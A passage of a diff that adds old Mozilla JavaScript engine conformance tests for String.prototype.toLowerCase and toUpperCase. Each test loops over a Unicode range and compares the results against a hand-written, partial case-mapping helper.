+ Note that the toLowerCase function is intentionally generic; it does not require
+ that its this value be a String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.11-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toLowerCase()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Hiragana (no upper / lower case)
+// Range: U+3040 to U+309F
+
+for ( var i = 0x3040; i <= 0x309F; i++ ) {
+ var U = new Unicode( i );
+/*
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()",
+ String.fromCharCode(U.lower),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()") );
+*/
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase().charCodeAt(0)",
+ U.lower,
+ eval("var s = new String( String.fromCharCode(i) ); s.toLowerCase().charCodeAt(0)") );
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
+function Unicode( c ) {
+ this.upper = c;
+ this.lower = c;
+
+ // upper case Basic Latin
+
+ if ( c >= 0x0041 && c <= 0x005A) {
+ this.upper = c;
+ this.lower = c + 32;
+ return this;
+ }
+
+ // lower case Basic Latin
+ if ( c >= 0x0061 && c <= 0x007a ) {
+ this.upper = c - 32;
+ this.lower = c;
+ return this;
+ }
+
+ // upper case Latin-1 Supplement
+ if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) {
+ this.upper = c;
+ this.lower = c + 32;
+ return this;
+ }
+
+ // lower case Latin-1 Supplement
+ if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) {
+ this.upper = c - 32;
+ this.lower = c;
+ return this;
+ }
+ if ( c == 0x00FF ) {
+ this.upper = 0x0178;
+ this.lower = c;
+ return this;
+ }
+ // Latin Extended A
+ if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) {
+ // special case for capital I
+ if ( c == 0x0130 ) {
+ this.upper = c;
+ this.lower = 0x0069;
+ return this;
+ }
+ if ( c == 0x0131 ) {
+ this.upper = 0x0049;
+ this.lower = c;
+ return this;
+ }
+
+ if ( c % 2 == 0 ) {
+ // if it's even, it's a capital and the lower case is c +1
+ this.upper = c;
+ this.lower = c+1;
+ } else {
+ // if it's odd, it's a lower case and upper case is c-1
+ this.upper = c-1;
+ this.lower = c;
+ }
+ return this;
+ }
+ if ( c == 0x0178 ) {
+ this.upper = c;
+ this.lower = 0x00FF;
+ return this;
+ }
+
+ if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) {
+ if ( c % 2 == 1 ) {
+ // if it's odd, it's a capital and the lower case is c +1
+ this.upper = c;
+ this.lower = c+1;
+ } else {
+ // if it's even, it's a lower case and upper case is c-1
+ this.upper = c-1;
+ this.lower = c;
+ }
+ return this;
+ }
+ if ( c == 0x017F ) {
+ this.upper = 0x0053;
+ this.lower = c;
+ }
+
+ // Latin Extended B
+ // need to improve this set
+
+ if ( c >= 0x0200 && c <= 0x0217 ) {
+ if ( c % 2 == 0 ) {
+ this.upper = c;
+ this.lower = c+1;
+ } else {
+ this.upper = c-1;
+ this.lower = c;
+ }
+ return this;
+ }
+
+ // Latin Extended Additional
+ // Range: U+1E00 to U+1EFF
+ // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html
+
+ // Spacing Modifier Leters
+ // Range: U+02B0 to U+02FF
+
+ // Combining Diacritical Marks
+ // Range: U+0300 to U+036F
+
+ // skip Greek for now
+ // Greek
+ // Range: U+0370 to U+03FF
+
+ // Cyrillic
+ // Range: U+0400 to U+04FF
+
+ if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) {
+ this.upper = c;
+ this.lower = c + 80;
+ return this;
+ }
+
+
+ if ( c >= 0x0410 && c <= 0x042F ) {
+ this.upper = c;
+ this.lower = c + 32;
+ return this;
+ }
+
+ if ( c >= 0x0430 && c<= 0x044F ) {
+ this.upper = c - 32;
+ this.lower = c;
+ return this;
+
+ }
+ if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) {
+ this.upper = c -80;
+ this.lower = c;
+ return this;
+ }
+
+ if ( c >= 0x0460 && c <= 0x047F ) {
+ if ( c % 2 == 0 ) {
+ this.upper = c;
+ this.lower = c +1;
+ } else {
+ this.upper = c - 1;
+ this.lower = c;
+ }
+ return this;
+ }
+
+ // Armenian
+ // Range: U+0530 to U+058F
+ if ( c >= 0x0531 && c <= 0x0556 ) {
+ this.upper = c;
+ this.lower = c + 48;
+ return this;
+ }
+ if ( c >= 0x0561 && c < 0x0587 ) {
+ this.upper = c - 48;
+ this.lower = c;
+ return this;
+ }
+
+ // Hebrew
+ // Range: U+0590 to U+05FF
+
+
+ // Arabic
+ // Range: U+0600 to U+06FF
+
+ // Devanagari
+ // Range: U+0900 to U+097F
+
+
+ // Bengali
+ // Range: U+0980 to U+09FF
+
+
+ // Gurmukhi
+ // Range: U+0A00 to U+0A7F
+
+
+ // Gujarati
+ // Range: U+0A80 to U+0AFF
+
+
+ // Oriya
+ // Range: U+0B00 to U+0B7F
+ // no capital / lower case
+
+
+ // Tamil
+ // Range: U+0B80 to U+0BFF
+ // no capital / lower case
+
+
+ // Telugu
+ // Range: U+0C00 to U+0C7F
+ // no capital / lower case
+
+
+ // Kannada
+ // Range: U+0C80 to U+0CFF
+ // no capital / lower case
+
+
+ // Malayalam
+ // Range: U+0D00 to U+0D7F
+
+ // Thai
+ // Range: U+0E00 to U+0E7F
+
+
+ // Lao
+ // Range: U+0E80 to U+0EFF
+
+
+ // Tibetan
+ // Range: U+0F00 to U+0FBF
+
+ // Georgian
+ // Range: U+10A0 to U+10F0
+ if ( c >= 0x10A0 && c <= 0x10C5 ) {
+ this.upper = c;
+ this.lower = c + 48;
+ return this;
+ }
+ if ( c >= 0x10D0 && c <= 0x10F5 ) {
+ this.upper = c;
+ this.lower = c;
+ return this;
+ }
+
+ // Hangul Jamo
+ // Range: U+1100 to U+11FF
+
+ // Greek Extended
+ // Range: U+1F00 to U+1FFF
+ // skip for now
+
+
+ // General Punctuation
+ // Range: U+2000 to U+206F
+
+ // Superscripts and Subscripts
+ // Range: U+2070 to U+209F
+
+ // Currency Symbols
+ // Range: U+20A0 to U+20CF
+
+
+ // Combining Diacritical Marks for Symbols
+ // Range: U+20D0 to U+20FF
+ // skip for now
+
+
+ // Number Forms
+ // Range: U+2150 to U+218F
+ // skip for now
+
+
+ // Arrows
+ // Range: U+2190 to U+21FF
+
+ // Mathematical Operators
+ // Range: U+2200 to U+22FF
+
+ // Miscellaneous Technical
+ // Range: U+2300 to U+23FF
+
+ // Control Pictures
+ // Range: U+2400 to U+243F
+
+ // Optical Character Recognition
+ // Range: U+2440 to U+245F
+
+ // Enclosed Alphanumerics
+ // Range: U+2460 to U+24FF
+
+ // Box Drawing
+ // Range: U+2500 to U+257F
+
+ // Block Elements
+ // Range: U+2580 to U+259F
+
+ // Geometric Shapes
+ // Range: U+25A0 to U+25FF
+
+ // Miscellaneous Symbols
+ // Range: U+2600 to U+26FF
+
+ // Dingbats
+ // Range: U+2700 to U+27BF
+
+ // CJK Symbols and Punctuation
+ // Range: U+3000 to U+303F
+
+ // Hiragana
+ // Range: U+3040 to U+309F
+
+ // Katakana
+ // Range: U+30A0 to U+30FF
+
+ // Bopomofo
+ // Range: U+3100 to U+312F
+
+ // Hangul Compatibility Jamo
+ // Range: U+3130 to U+318F
+
+ // Kanbun
+ // Range: U+3190 to U+319F
+
+
+ // Enclosed CJK Letters and Months
+ // Range: U+3200 to U+32FF
+
+ // CJK Compatibility
+ // Range: U+3300 to U+33FF
+
+ // Hangul Syllables
+ // Range: U+AC00 to U+D7A3
+
+ // High Surrogates
+ // Range: U+D800 to U+DB7F
+
+ // Private Use High Surrogates
+ // Range: U+DB80 to U+DBFF
+
+ // Low Surrogates
+ // Range: U+DC00 to U+DFFF
+
+ // Private Use Area
+ // Range: U+E000 to U+F8FF
+
+ // CJK Compatibility Ideographs
+ // Range: U+F900 to U+FAFF
+
+ // Alphabetic Presentation Forms
+ // Range: U+FB00 to U+FB4F
+
+ // Arabic Presentation Forms-A
+ // Range: U+FB50 to U+FDFF
+
+ // Combining Half Marks
+ // Range: U+FE20 to U+FE2F
+
+ // CJK Compatibility Forms
+ // Range: U+FE30 to U+FE4F
+
+ // Small Form Variants
+ // Range: U+FE50 to U+FE6F
+
+ // Arabic Presentation Forms-B
+ // Range: U+FE70 to U+FEFF
+
+ // Halfwidth and Fullwidth Forms
+ // Range: U+FF00 to U+FFEF
+
+ if ( c >= 0xFF21 && c <= 0xFF3A ) {
+ this.upper = c;
+ this.lower = c + 32;
+ return this;
+ }
+
+ if ( c >= 0xFF41 && c <= 0xFF5A ) {
+ this.upper = c - 32;
+ this.lower = c;
+ return this;
+ }
+
+ // Specials
+ // Range: U+FFF0 to U+FFFF
+
+ return this;
+}
+
+function DecimalToHexString( n ) {
+ n = Number( n );
+ var h = "0x";
+
+ for ( var i = 3; i >= 0; i-- ) {
+ if ( n >= Math.pow(16, i) ){
+ var t = Math.floor( n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) {
+ h += "A";
+ }
+ if ( t == 11 ) {
+ h += "B";
+ }
+ if ( t == 12 ) {
+ h += "C";
+ }
+ if ( t == 13 ) {
+ h += "D";
+ }
+ if ( t == 14 ) {
+ h += "E";
+ }
+ if ( t == 15 ) {
+ h += "F";
+ }
+ } else {
+ h += String( t );
+ }
+ } else {
+ h += "0";
+ }
+ }
+
+ return h;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.11-6.js b/js/src/tests/ecma/String/15.5.4.11-6.js
new file mode 100644
index 000000000..8432e76fd
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.11-6.js
@@ -0,0 +1,482 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.11-6.js
+ ECMA Section: 15.5.4.11 String.prototype.toLowerCase()
+ Description:
+
+ Returns a string equal in length to the length of the result of converting
+ this object to a string. The result is a string value, not a String object.
+
+ Every character of the result is equal to the corresponding character of the
+ string, unless that character has a Unicode 2.0 uppercase equivalent, in which
+ case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case
+ mapping shall be used, which does not depend on implementation or locale.)
+
+ Note that the toLowerCase function is intentionally generic; it does not require
+ that its this value be a String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.11-6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toLowerCase()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Armenian
+// Range: U+0530 to U+058F
+for ( var i = 0x0530; i <= 0x058F; i++ ) {
+
+ var U = new Unicode( i );
+/*
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()",
+ String.fromCharCode(U.lower),
+ eval("var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()") );
+*/
+ new TestCase( SECTION,
+ "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase().charCodeAt(0)",
+ U.lower,
+ eval("var s = new String( String.fromCharCode(i) ); s.toLowerCase().charCodeAt(0)") );
+
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
+function Unicode( c ) {
+ u = GetUnicodeValues( c );
+ this.upper = u[0];
+ this.lower = u[1]
+ return this;
+}
+function GetUnicodeValues( c ) {
+ u = new Array();
+
+ u[0] = c;
+ u[1] = c;
+
+ // upper case Basic Latin
+
+ if ( c >= 0x0041 && c <= 0x005A) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Basic Latin
+ if ( c >= 0x0061 && c <= 0x007a ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // upper case Latin-1 Supplement
+ if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Latin-1 Supplement
+ if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+ if ( c == 0x00FF ) {
+ u[0] = 0x0178;
+ u[1] = c;
+ return u;
+ }
+ // Latin Extended A
+ if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) {
+ // special case for capital I
+ if ( c == 0x0130 ) {
+ u[0] = c;
+ u[1] = 0x0069;
+ return u;
+ }
+ if ( c == 0x0131 ) {
+ u[0] = 0x0049;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c % 2 == 0 ) {
+ // if it's even, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's odd, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x0178 ) {
+ u[0] = c;
+ u[1] = 0x00FF;
+ return u;
+ }
+
+ if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) {
+ if ( c % 2 == 1 ) {
+ // if it's odd, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's even, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x017F ) {
+ u[0] = 0x0053;
+ u[1] = c;
+ }
+
+ // Latin Extended B
+ // need to improve this set
+
+ if ( c >= 0x0200 && c <= 0x0217 ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Latin Extended Additional
+ // Range: U+1E00 to U+1EFF
+ // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html
+
+ // Spacing Modifier Leters
+ // Range: U+02B0 to U+02FF
+
+ // Combining Diacritical Marks
+ // Range: U+0300 to U+036F
+
+ // skip Greek for now
+ // Greek
+ // Range: U+0370 to U+03FF
+
+ // Cyrillic
+ // Range: U+0400 to U+04FF
+
+ if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) {
+ u[0] = c;
+ u[1] = c + 80;
+ return u;
+ }
+
+
+ if ( c >= 0x0410 && c <= 0x042F ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0x0430 && c<= 0x044F ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+
+ }
+ if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) {
+ u[0] = c -80;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c >= 0x0460 && c <= 0x047F ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c +1;
+ } else {
+ u[0] = c - 1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Armenian
+ // Range: U+0530 to U+058F
+ if ( c >= 0x0531 && c <= 0x0556 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x0561 && c < 0x0587 ) {
+ u[0] = c - 48;
+ u[1] = c;
+ return u;
+ }
+
+ // Hebrew
+ // Range: U+0590 to U+05FF
+
+
+ // Arabic
+ // Range: U+0600 to U+06FF
+
+ // Devanagari
+ // Range: U+0900 to U+097F
+
+
+ // Bengali
+ // Range: U+0980 to U+09FF
+
+
+ // Gurmukhi
+ // Range: U+0A00 to U+0A7F
+
+
+ // Gujarati
+ // Range: U+0A80 to U+0AFF
+
+
+ // Oriya
+ // Range: U+0B00 to U+0B7F
+ // no capital / lower case
+
+
+ // Tamil
+ // Range: U+0B80 to U+0BFF
+ // no capital / lower case
+
+
+ // Telugu
+ // Range: U+0C00 to U+0C7F
+ // no capital / lower case
+
+
+ // Kannada
+ // Range: U+0C80 to U+0CFF
+ // no capital / lower case
+
+
+ // Malayalam
+ // Range: U+0D00 to U+0D7F
+
+ // Thai
+ // Range: U+0E00 to U+0E7F
+
+
+ // Lao
+ // Range: U+0E80 to U+0EFF
+
+
+ // Tibetan
+ // Range: U+0F00 to U+0FBF
+
+ // Georgian
+ // Range: U+10A0 to U+10F0
+ if ( c >= 0x10A0 && c <= 0x10C5 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x10D0 && c <= 0x10F5 ) {
+ u[0] = c;
+ u[1] = c;
+ return u;
+ }
+
+ // Hangul Jamo
+ // Range: U+1100 to U+11FF
+
+ // Greek Extended
+ // Range: U+1F00 to U+1FFF
+ // skip for now
+
+
+ // General Punctuation
+ // Range: U+2000 to U+206F
+
+ // Superscripts and Subscripts
+ // Range: U+2070 to U+209F
+
+ // Currency Symbols
+ // Range: U+20A0 to U+20CF
+
+
+ // Combining Diacritical Marks for Symbols
+ // Range: U+20D0 to U+20FF
+ // skip for now
+
+
+ // Number Forms
+ // Range: U+2150 to U+218F
+ // skip for now
+
+
+ // Arrows
+ // Range: U+2190 to U+21FF
+
+ // Mathematical Operators
+ // Range: U+2200 to U+22FF
+
+ // Miscellaneous Technical
+ // Range: U+2300 to U+23FF
+
+ // Control Pictures
+ // Range: U+2400 to U+243F
+
+ // Optical Character Recognition
+ // Range: U+2440 to U+245F
+
+ // Enclosed Alphanumerics
+ // Range: U+2460 to U+24FF
+
+ // Box Drawing
+ // Range: U+2500 to U+257F
+
+ // Block Elements
+ // Range: U+2580 to U+259F
+
+ // Geometric Shapes
+ // Range: U+25A0 to U+25FF
+
+ // Miscellaneous Symbols
+ // Range: U+2600 to U+26FF
+
+ // Dingbats
+ // Range: U+2700 to U+27BF
+
+ // CJK Symbols and Punctuation
+ // Range: U+3000 to U+303F
+
+ // Hiragana
+ // Range: U+3040 to U+309F
+
+ // Katakana
+ // Range: U+30A0 to U+30FF
+
+ // Bopomofo
+ // Range: U+3100 to U+312F
+
+ // Hangul Compatibility Jamo
+ // Range: U+3130 to U+318F
+
+ // Kanbun
+ // Range: U+3190 to U+319F
+
+
+ // Enclosed CJK Letters and Months
+ // Range: U+3200 to U+32FF
+
+ // CJK Compatibility
+ // Range: U+3300 to U+33FF
+
+ // Hangul Syllables
+ // Range: U+AC00 to U+D7A3
+
+ // High Surrogates
+ // Range: U+D800 to U+DB7F
+
+ // Private Use High Surrogates
+ // Range: U+DB80 to U+DBFF
+
+ // Low Surrogates
+ // Range: U+DC00 to U+DFFF
+
+ // Private Use Area
+ // Range: U+E000 to U+F8FF
+
+ // CJK Compatibility Ideographs
+ // Range: U+F900 to U+FAFF
+
+ // Alphabetic Presentation Forms
+ // Range: U+FB00 to U+FB4F
+
+ // Arabic Presentation Forms-A
+ // Range: U+FB50 to U+FDFF
+
+ // Combining Half Marks
+ // Range: U+FE20 to U+FE2F
+
+ // CJK Compatibility Forms
+ // Range: U+FE30 to U+FE4F
+
+ // Small Form Variants
+ // Range: U+FE50 to U+FE6F
+
+ // Arabic Presentation Forms-B
+ // Range: U+FE70 to U+FEFF
+
+ // Halfwidth and Fullwidth Forms
+ // Range: U+FF00 to U+FFEF
+
+ if ( c >= 0xFF21 && c <= 0xFF3A ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0xFF41 && c <= 0xFF5A ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // Specials
+ // Range: U+FFF0 to U+FFFF
+
+ return u;
+}
+
+function DecimalToHexString( n ) {
+ n = Number( n );
+ var h = "0x";
+
+ for ( var i = 3; i >= 0; i-- ) {
+ if ( n >= Math.pow(16, i) ){
+ var t = Math.floor( n / Math.pow(16, i));
+ n -= t * Math.pow(16, i);
+ if ( t >= 10 ) {
+ if ( t == 10 ) {
+ h += "A";
+ }
+ if ( t == 11 ) {
+ h += "B";
+ }
+ if ( t == 12 ) {
+ h += "C";
+ }
+ if ( t == 13 ) {
+ h += "D";
+ }
+ if ( t == 14 ) {
+ h += "E";
+ }
+ if ( t == 15 ) {
+ h += "F";
+ }
+ } else {
+ h += String( t );
+ }
+ } else {
+ h += "0";
+ }
+ }
+
+ return h;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.12-2.js b/js/src/tests/ecma/String/15.5.4.12-2.js
new file mode 100644
index 000000000..476a6786f
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.12-2.js
@@ -0,0 +1,484 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.12-2.js
+ ECMA Section: 15.5.4.12 String.prototype.toUpperCase()
+ Description:
+
+ Returns a string equal in length to the length of the result of converting
+ this object to a string. The result is a string value, not a String object.
+
+ Every character of the result is equal to the corresponding character of the
+ string, unless that character has a Unicode 2.0 uppercase equivalent, in which
+ case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case
+ mapping shall be used, which does not depend on implementation or locale.)
+
+ Note that the toUpperCase function is intentionally generic; it does not require
+ that its this value be a String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.12-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.toUpperCase()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var TEST_STRING = "";
+var EXPECT_STRING = "";
+
+// basic latin test
+
+for ( var i = 0; i < 0x007A; i++ ) {
+ var u = new Unicode(i);
+ TEST_STRING += String.fromCharCode(i);
+ EXPECT_STRING += String.fromCharCode( u.upper );
+}
+
+// don't print out the value of the strings since they contain control
+// characters that break the driver
+var isEqual = EXPECT_STRING == (new String( TEST_STRING )).toUpperCase();
+
+new TestCase( SECTION,
+ "isEqual",
+ true,
+ isEqual);
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
+function Unicode( c ) {
+ u = GetUnicodeValues( c );
+ this.upper = u[0];
+ this.lower = u[1]
+ return this;
+}
+function GetUnicodeValues( c ) {
+ u = new Array();
+
+ u[0] = c;
+ u[1] = c;
+
+ // upper case Basic Latin
+
+ if ( c >= 0x0041 && c <= 0x005A) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Basic Latin
+ if ( c >= 0x0061 && c <= 0x007a ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+
+ // upper case Latin-1 Supplement
+ if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ // lower case Latin-1 Supplement
+ if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+ }
+ if ( c == 0x00FF ) {
+ u[0] = 0x0178;
+ u[1] = c;
+ return u;
+ }
+ // Latin Extended A
+ if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) {
+ // special case for capital I
+ if ( c == 0x0130 ) {
+ u[0] = c;
+ u[1] = 0x0069;
+ return u;
+ }
+ if ( c == 0x0131 ) {
+ u[0] = 0x0049;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c % 2 == 0 ) {
+ // if it's even, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's odd, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x0178 ) {
+ u[0] = c;
+ u[1] = 0x00FF;
+ return u;
+ }
+
+ if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) {
+ if ( c % 2 == 1 ) {
+ // if it's odd, it's a capital and the lower case is c +1
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ // if it's even, it's a lower case and upper case is c-1
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+ if ( c == 0x017F ) {
+ u[0] = 0x0053;
+ u[1] = c;
+ }
+
+ // Latin Extended B
+ // need to improve this set
+
+ if ( c >= 0x0200 && c <= 0x0217 ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c+1;
+ } else {
+ u[0] = c-1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Latin Extended Additional
+ // Range: U+1E00 to U+1EFF
+ // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html
+
+ // Spacing Modifier Leters
+ // Range: U+02B0 to U+02FF
+
+ // Combining Diacritical Marks
+ // Range: U+0300 to U+036F
+
+ // skip Greek for now
+ // Greek
+ // Range: U+0370 to U+03FF
+
+ // Cyrillic
+ // Range: U+0400 to U+04FF
+
+ if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) {
+ u[0] = c;
+ u[1] = c + 80;
+ return u;
+ }
+
+
+ if ( c >= 0x0410 && c <= 0x042F ) {
+ u[0] = c;
+ u[1] = c + 32;
+ return u;
+ }
+
+ if ( c >= 0x0430 && c<= 0x044F ) {
+ u[0] = c - 32;
+ u[1] = c;
+ return u;
+
+ }
+ if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) {
+ u[0] = c -80;
+ u[1] = c;
+ return u;
+ }
+
+ if ( c >= 0x0460 && c <= 0x047F ) {
+ if ( c % 2 == 0 ) {
+ u[0] = c;
+ u[1] = c +1;
+ } else {
+ u[0] = c - 1;
+ u[1] = c;
+ }
+ return u;
+ }
+
+ // Armenian
+ // Range: U+0530 to U+058F
+ if ( c >= 0x0531 && c <= 0x0556 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x0561 && c < 0x0587 ) {
+ u[0] = c - 48;
+ u[1] = c;
+ return u;
+ }
+
+ // Hebrew
+ // Range: U+0590 to U+05FF
+
+
+ // Arabic
+ // Range: U+0600 to U+06FF
+
+ // Devanagari
+ // Range: U+0900 to U+097F
+
+
+ // Bengali
+ // Range: U+0980 to U+09FF
+
+
+ // Gurmukhi
+ // Range: U+0A00 to U+0A7F
+
+
+ // Gujarati
+ // Range: U+0A80 to U+0AFF
+
+
+ // Oriya
+ // Range: U+0B00 to U+0B7F
+ // no capital / lower case
+
+
+ // Tamil
+ // Range: U+0B80 to U+0BFF
+ // no capital / lower case
+
+
+ // Telugu
+ // Range: U+0C00 to U+0C7F
+ // no capital / lower case
+
+
+ // Kannada
+ // Range: U+0C80 to U+0CFF
+ // no capital / lower case
+
+
+ // Malayalam
+ // Range: U+0D00 to U+0D7F
+
+ // Thai
+ // Range: U+0E00 to U+0E7F
+
+
+ // Lao
+ // Range: U+0E80 to U+0EFF
+
+
+ // Tibetan
+ // Range: U+0F00 to U+0FBF
+
+ // Georgian
+ // Range: U+10A0 to U+10F0
+ if ( c >= 0x10A0 && c <= 0x10C5 ) {
+ u[0] = c;
+ u[1] = c + 48;
+ return u;
+ }
+ if ( c >= 0x10D0 && c <= 0x10F5 ) {
+ u[0] = c;
+ u[1] = c;
+ return u;
+ }
+
+ // Hangul Jamo
+ // Range: U+1100 to U+11FF
+
+ // Greek Extended
+ // Range: U+1F00 to U+1FFF
+ // skip for now
+
+
+ // General Punctuation
+ // Range: U+2000 to U+206F
+
+ // Superscripts and Subscripts
+ // Range: U+2070 to U+209F
+
+ // Currency Symbols
+ // Range: U+20A0 to U+20CF
+
+
+ // Combining Diacritical Marks for Symbols
+ // Range: U+20D0 to U+20FF
+ // skip for now
+
+
+ // Number Forms
+ // Range: U+2150 to U+218F
+ // skip for now
+
+
+ // Arrows
+ // Range: U+2190 to U+21FF
+
+ // Mathematical Operators
+ // Range: U+2200 to U+22FF
+
+ // Miscellaneous Technical
+ // Range: U+2300 to U+23FF
+
+ // Control Pictures
+ // Range: U+2400 to U+243F
+
+ // Optical Character Recognition
+ // Range: U+2440 to U+245F
+
+ // Enclosed Alphanumerics
+ // Range: U+2460 to U+24FF
+
+ // Box Drawing
+ // Range: U+2500 to U+257F
+
+ // Block Elements
+ // Range: U+2580 to U+259F
+
+ // Geometric Shapes
+ // Range: U+25A0 to U+25FF
+
+ // Miscellaneous Symbols
+ // Range: U+2600 to U+26FF
+
+ // Dingbats
+ // Range: U+2700 to U+27BF
+
+ // CJK Symbols and Punctuation
+ // Range: U+3000 to U+303F
+
+ // Hiragana
+ // Range: U+3040 to U+309F
+
+ // Katakana
+ // Range: U+30A0 to U+30FF
+
+ // Bopomofo
+ // Range: U+3100 to U+312F
+
+ // Hangul Compatibility Jamo
+ // Range: U+3130 to U+318F
+
+ // Kanbun
+ // Range: U+3190 to U+319F
+
+
+ // Enclosed CJK Letters and Months
+ // Range: U+3200 to U+32FF
+
+ // CJK Compatibility
+ // Range: U+3300 to U+33FF
+
+ // Hangul Syllables
